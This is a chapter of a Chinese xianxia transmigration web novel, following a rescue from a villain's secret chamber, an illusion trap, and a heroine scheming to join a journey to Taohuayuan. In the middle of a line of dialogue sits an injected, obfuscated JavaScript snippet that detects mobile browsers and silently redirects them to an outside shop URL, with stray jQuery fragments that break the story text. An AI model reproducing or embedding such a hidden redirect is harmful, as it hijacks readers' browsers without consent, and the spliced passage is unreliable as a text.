就在江存景正准备完全褪下她衣裳的那一刻,最后一滴蜡也湮灭在伸手不见五指的黑暗中时,姜眠鹤大喊一声:“救命!”
寒光一瞬而至,恍惚间照亮整个密室,带着震裂轰然,不可阻挡的狠意。
路知慎右手虚握,强大的压迫感挤压着江存景,胸口处凭空多出一份力量,将江存景猛得拽了过来。
路知慎一手掐住他的喉咙,手上青筋爆起,仿佛要将江存景的脖子捏碎。
江存景召出命剑,却在刚刚出鞘便被对方掌风推回,他被捏住喉咙一句话都说不出来,哪怕一句扯谎辩驳的字节都发不出来。
他从腰间散去符咒,想要将路知慎困在方寸之地。
可路知慎根本没有正眼瞧他,符箓才形成一个圈,便轻飘飘地挥袖扫去,化为灰烬。
路知慎在江存景即死的最后一刻,用力地将他扔在地上,居高临下地望着他。
黑夜中的一袭白衣如同鬼魅又如同救世主,平日里那样清雅俊逸的人几乎一字一顿地说道:“想死吗?”
江存景猛咳了几声,贪婪地吸收着差点再也无法得到的空气,缓了许久才吼道:“死也是你死!”
话音刚落,他便将双指抵住自己的额间,一点朱砂隐隐现出。
接着,四方墙壁依次亮出「道」「天」「地」「人」,四字刹那间散发出刺眼的金色光芒。
而路知慎脚下一个红色「禁」字遽然跳出,分出虚影又重重落下,转眼间赤字变大。
江存景费力地站起身,如同散乱的零件重新组装。但他仍不忘自以为是地笑道:“特意为你准备的,如何?”
禁一阵可以封住人身上的一切力量,无论是法力还是体力,在这个阵法里,哪怕动动手指都是妄想。
当同时,难度也是一等一,能将其炉火纯青,不是天赋到路知慎这个地步的人,能学学皮毛都已是翘楚。
“天才?什么天才?!不过是徒有虚名罢了!”江存景拔出剑,“能死在我的入风剑之下,是你的荣幸。”
姜眠鹤虽然知道路知慎很强,可是见他站在那里,当真被困得动不了,心中顿感焦急。
她想要通过喊叫吸引江存景的注意力,可是下一秒她突然觉得身四肢一松,绳子被割断。
江存景惊愕失色,不可置信地后退踉跄了几步:“这不可能!”
路知慎收起万诛,轻轻一挥,入风剑便掉落在地,他一步一步地走向江存景:“还以为你为我留了什么,没想到也只是个小小的禁一阵,实在是……”
一语未了,瞬身至江存景身侧,在他的意识还没有跟上视线之时,手背看似轻轻打在他的脖颈,然后下一刻,江存景整个人像被来自高空的劈天之力击中,身体如球冲破一米厚的石壁,灰尘石粒漫天,他又翻滚了好几圈才停下。
“实在是难堪入目。”
鲜血湿了满襟,脸都被撞歪了,牙齿也掉了几颗,江存景满是鲜血嘴里慢慢吐出几个不清的字:“你出去便是我的幻境,你会后悔的。”
路知慎脱下外袍裹在姜眠鹤身上,将她打横抱起,不屑地看向江存景,冷声道:“若有报复,定当奉陪。”
姜眠鹤愣愣地抱住路知慎的脖颈,感觉身上恢复了点力气,这才终于哭了出来。
她一边哭着,一边将眼泪鼻涕在路知慎的肩头擦擦。
路知慎下颌紧绷,他垂眸看向姜眠鹤,声音温柔而愧疚:“不会再有这样的事发生了。”
出了密室,便看到璧云山的一众人。
“不能让路知慎走了!”璧云山的弟子们红着眼睛发令,纷纷朝着路知慎冲了过来。
路知慎顿了步伐,温声对姜眠鹤说道:“捂起耳朵。”
姜眠鹤吸了吸鼻涕后收泪,便乖乖捂起了耳朵。
万诛出。
恢弘剑意,铺天盖地。
“现在逃,来得及。”
大地一阵晃动,密室上方的七层弥生殿被蓦然切开,向四周爆出汹涌的气流和沙尘,掀起一股强烈的风暴以及震耳欲聋的轰然倒塌之声。
人群开始疯狂逃窜尖叫,在纷杂的声音中,有人喊道:“当阳路知慎,剑斩弥生,璧云之耻,誓当还报!”
江存景撑着身体爬了出来,口齿不清道:“路知慎,和璧云山作对,你知晓后果吗?!”
路知慎温柔一笑:“尚不知晓。”
江存景被堵得说不出话来,本来还能强撑着维持气息,这下直接被气背过去。
出了弥生殿,逃出去的人又开始摇人,妄想将路知慎留住。
可他依旧不慌不忙,眨眼间,剑光闪过,众人之间多出一道长长的沟壑。
众人眼看着少主快不行了,只好将心中怒气咽下,艰难开口:“家主病重,尚无人能阻他,让他走。”
路知慎瞥了一眼:“多谢。”
一下璧云山,路知慎的身形微晃。
姜眠鹤捧起他的脸,轻声问:“你怎么了?你放我下来吧,我感觉身上的力气恢复了些。”
路知慎没说话。
许久,他将姜眠鹤放下来,自己却捂住心口,面上略显疲色。
姜眠鹤心中一悸,连忙扶住他:“路知慎,你别吓我。”
而此时,周围风景迅速变换,她霎时被眼前的一切惊得说不出话来。
红,刺眼的红,入目皆红。尖叫和哀嚎平息后,是死一般的寂静。
喘不过来气了,肺像是被什么东西狠狠捏住,让那寒冷却又象征着生的空气穿过鼻孔,却怎么也进入不了肺部。好不容易吸入一丝凉意,却在面前形成一团化不开的雾。
这是哪里?
这是……当阳?
姜眠鹤立马想起刚才江存景说过的,出了密室就是他的幻境。
所以刚刚路知慎都一直强撑着与那幻境作抵抗,若是让那些人看出他的气势减弱,一定不会放他们走的。
可是为什么这个幻境如此真实,明知是虚假却难以相信是虚假。
降真阁门口似乎站了一个人,那人一身红衣,提着剑慢慢走过来,阴鸷中带着满身杀气。
姜眠鹤听说过,江家幻境的厉害之处在于,在幻境中受的伤会带到现实中来。
那红衣人越走越近,她也越来越紧张,心跳越来越快,拉着路知慎就要跑。
“姜眠鹤。”
突然,熟悉的声音从那红衣人口中传出,仿佛近在咫尺。
姜眠鹤一愣,整个人如遭雷劈,僵硬地转过头。
就在她转过头的那一刹那,路知慎吐出一大口鲜血,将他洁白无瑕的衣襟玷污。
环境骤变,又回到了璧云山下。
“姜眠鹤。”路知慎深深呼出一口气,平静道。
姜眠鹤将他扶紧,嗔怪道:“你吓死我了。”
在璧云山如此大闹一场,消息马上传到了当阳山,更传到了三正。
第一次,路知慎被罚。
不同于路植晏被罚,要么拘心台要么净目亭,路知慎是直接独自一人负荆请罪,去了三正法司。
谢惊春听到这一消息时并没有感到意外,只是感叹爱情的力量以及被小说贯彻到底的恶人终有恶报。
不过在看到姜眠鹤脸上的伤势以及她的诉说之时,谢惊春才切实地感受到有多凶险,她心中突然有些自责。
几个月和姜眠鹤的相处,她早把姜眠鹤当成自己在这个世界的好朋友了。提前知道剧情,反而让她很不适,像是一种背叛。
谢惊春甩了甩头,想把这种奇奇怪怪的敏感想法甩出脑海。
“我不能让他一人去三正受罚,他是为了救我,还受了伤,我要和他一起去。”姜眠鹤说罢,提起裙子便去了。
谢惊春自是没阻拦,三正法司共患难,他们的情感更加坚固。况且就算拦了,只会让姜眠鹤难受罢了。
本来都快到手的等级提升,却被江存景一剑抢了去,谢惊春对他的讨厌又到了无以复加的地步。
不过稍稍让她欣慰的是,因为度过了猎妖修习这一情节,她一下子跨越十二章,现在来到了五十章。
【恭喜宿主等级提升为测试者LV4。目前宿主与角色「路植晏」的绝对安全距离为25公里,绝对无痛距离为2公里。】
她复盘了一下当时自己的表现,也挺满意。
感觉可以去考级了,给金樽整个白缨串串。
若是继续练下去,她或许也能成为独当一面的捉妖师。想着如果能够给金樽整个黑缨装逼,那多威风啊。
“小师妹,你怎么学会那么厉害的缚妖阵了?”李岁寒一屁股坐在她身边,语气中嫉妒之意很明显。
嗯~能从他嘴里听到厉害两个字,简直太不容易啦。
谢惊春将他当初说的话原封不动地还给他:“这个嘛这个,我也不知道,就随便一弄,它自己就出来了。”
李岁寒撇了撇嘴,冷切一声:“有什么了不起的。”
谢惊春得意一笑,拍了拍他的后背:“怎么样?伤势怎么样?”
“我身体好得很,当然没事了!”他跳着侧过身,握拳屈腕,试图展示皇帝的新肱二头肌。
“倒是你,给自己整出好几道伤口。”
谢惊春昂头向他展示:“呵,我这脖子上的可是你弄的,给本小姐这如白天鹅般的细脖剌了个口子,还好不深,要不然我铁定找你决斗。”
“幻境中可不关我的事,我昏迷了当时。不过,不过……”李岁寒嗫嚅着,“不过也算是因我而受伤,对,对不起……”
谢惊春顿了顿,假装起了一身鸡皮疙瘩,白了他一眼:“咦……不跟你瞎叭叭,休息好了,我要练习了。”
“话说路二哥从中午到现在,怎么一直没来?”
“这倒是。前几天从太象山出来,他就一直怪怪的,好像不太愿意理我们,难道是我们猎妖表现他不满意了?”
这时,路植晏突然不知从哪儿冒出来,接了一句:“一般。”
谢惊春和李岁寒歪着头:“耶?你从哪儿冒出来?”
路植晏没有回答她的问题,而是满脸严肃地说道:“从明日开始,我就没办法教你们了。”
“为什么?”两人异口同声。
路植晏沉吟了一会,随后说:“我要,离开当阳。”
谢惊春和李岁寒面面相觑,再次异口同声:“去哪儿?”
“这不关你们的事,我离开的这段时间你们也不要松懈,好好修习,我回来时若发现你们毫无精进……。”
“去捉妖吗?我也想去,上次凌阳捉妖,路二哥你就没有带我去。”李岁寒看了一眼惊春,“一人一次,很公平。”
路植晏:“我不会带你们去。”
惊春:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173726|150541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那你离开多久。”
“不知道。”
不知道。
按照经验,一般是很久。
那可不行,她现在等级还是太低了,还是不能和他隔得太远。
路植晏欲言又止,最后还是转身离去。
原著中对路植晏的描写太少了,况且这还是本没有完结的小说,他的人生轨迹如何没有人关心,恐怕连作者来了,都不知道在路知慎弑父杀母之前,路植晏又在干什么,经历了什么。
又是一个不眠夜,谢惊春写了三封信。
一封给姜眠鹤,这个温柔外向的少女,是她在这个世界交的第一个好朋友!
一封给阿爹,虽然和这个世界的爹没什么感情,但能看出来这个小老头真的很爱自己的女儿,刚穿来就接收了一个濒死的身体,在躺在床上修养的一个月里,谢从真一边哭得跟小孩一样,一边安慰女儿,竭尽全力给女儿最好的。
虽然有一种偷了角色幸福的感觉,但谢惊春从小残缺的父爱,也算是弥补上一点点。
一封给臭小子李岁寒,哼,臭小子,必须要恶心他一下,肉麻他一下,讨厌死了。
最后她挑了几个法器自己带着,剩下的全部留给姜眠鹤和李岁寒。
写完三封信才发现已经很晚了。
怎么写作文的时候就没有这滔滔不绝,连绵不断的灵感呢?
谢惊春抱着碰运气的心理来到了路植晏的小院,竟发现他屋内蜡烛还点着。
她站在门口正纠结着要不要敲门,抬头看见被自己砍断长岁铃的细线还在檐下飘摇无依,想起上次的经历,她伸出去的手又缩了回来。
“深更半夜,谢大小姐有何事?”路植晏披散着头发,手撑着门框,不知何时开了门。
谢惊春微微一怔。
上次被那缕玄阴妖心魄给吓惨了,便没太在意他披散头发的模样。
白日里高高在上的马尾此刻就像春日垂柳,从肩处倾泻而下,配上内眼角处的痣,倒是平添了几分不同往常的慵懒和孤傲。
和路植晏对视许久,就在他皱着眉头又要吐出什么阴阳怪气的话时,谢惊春连忙挪开眼:“你怎么知道我在外头?”
路植晏抬眼瞄了一眼檐下空悬的绳线,目光又立刻回到她身上:“猜的你信不信?”
谢惊春来这里主要是为了问出他的行程,并不在这件事上纠结,便问:“我其实主要是想问你,你是不是要去……桃花源?”
路植晏收了似笑非笑的表情,往外走出几步。
“你也是猜的?”
谢惊春吸了一口气:“差不多吧。上次在问日山咱们不是觉得紫娘笃定路叔叔会再去桃花源吗?你如今又突然说不能教我和李岁寒了,那必然不是一两个月那么简单。要么是路叔叔想要让你历练一番,要么就是想要你去东南天山道找桃花源,亦或者二者皆是。”
她随着他走到庭院中,月光在缸水中微漾,泛着如碎珀似的冷光。
路植晏微讶,没想到她能猜到。
“所以呢?谢大小姐来此是想送别?”
“不是,我想和你一起去。”
路植晏显然没有想到她会来这一招,不过短暂的惊异后是断然拒绝:“那不可能。”
“你放心,我不会给你添麻烦的,被妖怪吃了就是我自己能力弱,你可以不用管我。你就当路上一人无聊,找个话搭子如何?”
谢惊春这么坚定地要和路植晏一起去寻桃花源的原因实在是太多了。
首先,她现在的等级还是太低,不能离路植晏太远。再者,系统提及过的另一个穿书者,她很想找到那个人。
而且桃花源,听起来就很不错。
路植晏乜了她一眼:“那也不行。”
谢惊春低着头,似乎在酝酿什么,她嘴里慢悠悠地吐出字:“其实……”
路植晏静静地看着她,当真等着她憋话。
谢惊春突然快速拿出一张纸,神神秘秘地说道:“其实我有桃花源的线索,听闻是我大伯谢从因留下的。”
谢从因。
太阴九百岁,名榜第一。
七岁便已名动天下,九岁弃命剑。一柄桃木剑,亦可挥出浩然剑气,一阵破万法,一阵护万人。
他十二岁失踪,又于五年后某夜突然回归,将大妖玄阴丢给三正后再次消失。
至今,杳无音讯。
“另外若是遇到一个手持桃木剑的疯子,不要与他纠缠。消失了二十多年了,他这样的人,肯定不会死。”
前几日,路思贤叮嘱的话在路植晏耳畔响起。
谢从因一直以来都是众人崇拜的对象,而路思贤提及他的时候,却似乎带着一丝丝不易察觉的恐惧。
路植晏饶有所思,盯着那张纸说道:“哦?什么线索?”
谢惊春见他感兴趣,晃了晃手中的纸:“你答应带我一起去,我就给你看。”
“那算了,谢大小姐自己看吧。”
感觉被威胁的路植晏抬脚就走,毫不犹豫。
谢惊春眼珠子一转,突然就放弃了:“那算了,我先回去了。路二公子也早点睡吧。”
路植晏扭过头奇怪地看着她的离去的背影,虽不明白她怎么突然就放弃了,但还是庆幸她不再烦自己。
谢惊春:hianhianhian,怎么会放弃?!